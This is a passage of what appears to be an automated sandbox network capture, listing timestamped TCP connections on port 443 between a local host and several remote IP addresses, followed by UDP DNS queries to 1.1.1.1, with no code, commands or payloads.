Jan 14, 2025 17:25:37.397763968 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.397763968 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.397782087 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.397815943 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.397821903 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.397918940 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.398603916 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.398653984 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.398684025 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.398689985 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.398711920 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.398878098 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.399252892 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.399395943 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.399404049 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.399770021 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.399873018 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.399878025 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.402509928 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.402528048 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.402620077 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.402620077 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.402631998 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.452192068 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.486181974 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486202002 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486320019 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.486332893 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486386061 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.486855030 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486905098 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486939907 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.486943960 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.486969948 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.486987114 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487214088 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487229109 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487256050 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487288952 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487296104 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487325907 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487622023 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487654924 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487658978 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.487678051 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487894058 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.487903118 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488140106 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.488146067 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488241911 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488452911 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.488459110 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488519907 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488535881 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.488615990 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.488615990 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.488621950 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.489748001 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.489761114 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.489830971 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.489837885 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.491101027 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.491117001 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.491240978 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.491240978 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.491247892 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.545139074 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.601597071 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.601618052 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.601851940 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.601872921 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.601885080 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.601921082 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602099895 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602123976 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602157116 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602184057 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602190018 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602258921 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602428913 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602453947 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602483034 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602488041 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602509975 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602674961 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602689028 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602751970 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602751970 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.602760077 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602920055 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.602946043 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603003979 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.603003979 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.603010893 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603138924 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603152037 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603250980 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.603257895 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603303909 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.603357077 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.603363037 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.658389091 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.663376093 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.663400888 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.663543940 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.663573980 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.663582087 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.663603067 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.663614988 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.663692951 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.664367914 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.664386034 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.664741039 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.664747953 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.664947033 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.664971113 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665007114 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.665011883 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665033102 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.665292978 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665539980 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665571928 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.665576935 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665594101 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.665611029 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.666248083 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.666460037 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.666475058 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.666636944 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.666642904 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.666795015 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.666801929 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.666815996 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.667064905 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.667071104 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.667156935 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.668096066 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.668112040 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.668468952 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.668474913 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.669018030 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.751980066 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.752239943 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.752257109 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.752278090 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.752290964 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.752351999 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.752351999 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.752361059 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753000975 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753026009 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753072977 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.753078938 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753107071 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.753138065 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753221989 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:37.753288984 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.753726959 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.753875971 CET	51415	443	192.168.2.4	43.157.144.205
Jan 14, 2025 17:25:37.753886938 CET	443	51415	43.157.144.205	192.168.2.4
Jan 14, 2025 17:25:39.942434072 CET	443	51414	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:39.942513943 CET	443	51414	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:39.942625046 CET	51414	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:39.943572044 CET	51414	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:39.943582058 CET	443	51414	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.206718922 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.206756115 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.206825972 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.207030058 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.207040071 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.710243940 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.710524082 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.710582972 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.711545944 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.711684942 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.711894989 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.711963892 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.712011099 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.755330086 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.760090113 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.760111094 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.800925016 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.844928026 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.844988108 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:40.845065117 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.845577002 CET	51416	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:40.845611095 CET	443	51416	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:42.979537964 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:42.979603052 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:42.979679108 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:42.980010986 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:42.980031967 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:42.998744011 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:42.998795986 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:42.998867989 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:42.999222994 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:42.999237061 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.505692959 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.505932093 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:43.505947113 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.506243944 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.506628036 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:43.506681919 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.507838011 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:43.551328897 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:43.786343098 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:43.786571026 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:43.786602974 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:43.788193941 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:43.788250923 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:43.789453030 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:43.789546013 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:43.789612055 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:43.789624929 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:43.843174934 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.032202005 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.032269955 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.032335997 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.032392025 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.032434940 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.033029079 CET	51417	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.033044100 CET	443	51417	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.045969009 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.046000004 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.046061993 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.047331095 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.047339916 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.245270967 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.245469093 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.246454000 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.246850014 CET	51418	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.246891975 CET	443	51418	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.250437975 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.250453949 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.250516891 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.250870943 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.250889063 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.740874052 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.742718935 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.742754936 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.743514061 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.747220039 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.747412920 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.747431993 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.793509007 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.830596924 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.874631882 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.874710083 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.874780893 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.875298023 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.876737118 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.876744032 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.877614021 CET	51425	443	192.168.2.4	69.49.230.198
Jan 14, 2025 17:25:44.877635002 CET	443	51425	69.49.230.198	192.168.2.4
Jan 14, 2025 17:25:44.878253937 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.878329039 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.878707886 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.878783941 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.879138947 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:44.879146099 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:44.933418036 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:45.087724924 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:45.087783098 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:45.087820053 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:45.087831020 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:45.087894917 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:45.087930918 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:45.812532902 CET	51424	443	192.168.2.4	152.199.21.175
Jan 14, 2025 17:25:45.812560081 CET	443	51424	152.199.21.175	192.168.2.4
Jan 14, 2025 17:25:47.361891985 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:47.361978054 CET	443	51402	172.67.210.82	192.168.2.4
Jan 14, 2025 17:25:47.362164021 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:48.529788017 CET	51402	443	192.168.2.4	172.67.210.82
Jan 14, 2025 17:25:48.529812098 CET	443	51402	172.67.210.82	192.168.2.4

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Jan 14, 2025 17:23:01.082469940 CET	56707	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:01.082721949 CET	59633	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:01.087764978 CET	53	64402	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:01.096580029 CET	53	56707	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:01.099742889 CET	53	59633	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:01.167599916 CET	53	63998	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:02.298820972 CET	53	59461	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:02.954988956 CET	50185	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:02.955185890 CET	57781	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:02.972119093 CET	53	57781	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:02.972924948 CET	53	50185	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:04.364583969 CET	64174	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:04.364713907 CET	59916	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:04.371546984 CET	53	64174	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:04.371789932 CET	53	59916	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:04.980631113 CET	55027	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:04.980771065 CET	54815	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:04.987483978 CET	53	55027	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:04.988279104 CET	53	54815	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:05.875587940 CET	49589	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:05.875746965 CET	61989	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:05.879939079 CET	58755	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:05.880085945 CET	57497	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:05.882364988 CET	53	49589	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:05.885030985 CET	53	61989	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:05.887442112 CET	53	58755	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:05.889318943 CET	53	57497	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:08.912429094 CET	53812	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:08.912429094 CET	60787	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:23:08.919146061 CET	53	60787	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:08.919188976 CET	53	53812	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:16.141767979 CET	138	138	192.168.2.4	192.168.2.255
Jan 14, 2025 17:23:19.240461111 CET	53	57184	1.1.1.1	192.168.2.4
Jan 14, 2025 17:23:38.114068031 CET	53	62602	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:00.475657940 CET	53	62522	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:00.800714016 CET	53	50061	1.1.1.1	192.168.2.4
Jan 14, 2025 17:24:04.846709013 CET	53	64223	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:12.299403906 CET	54874	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:12.299571037 CET	65357	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:12.307751894 CET	53	65357	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:12.307780027 CET	53	54874	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.293397903 CET	52979	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.293819904 CET	60876	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.298804045 CET	52839	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.298947096 CET	53847	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.299321890 CET	57442	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.299434900 CET	62951	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.300390959 CET	55347	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.300514936 CET	65386	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.300822973 CET	60935	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.300935030 CET	53	52979	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.300981998 CET	50617	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:33.301038980 CET	53	60876	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.306008101 CET	53	53847	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.306265116 CET	53	52839	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.306653023 CET	53	57442	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.307347059 CET	53	57286	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.307379961 CET	53	62951	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.307698965 CET	53	55347	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.308545113 CET	53	65386	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.630848885 CET	53	50617	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:33.693059921 CET	53	60935	1.1.1.1	192.168.2.4
Jan 14, 2025 17:25:34.048418045 CET	59980	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.048563957 CET	61555	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.107917070 CET	57375	53	192.168.2.4	1.1.1.1
Jan 14, 2025 17:25:34.108059883 CET	58808	53	192.168.2.4	1.1.1.1
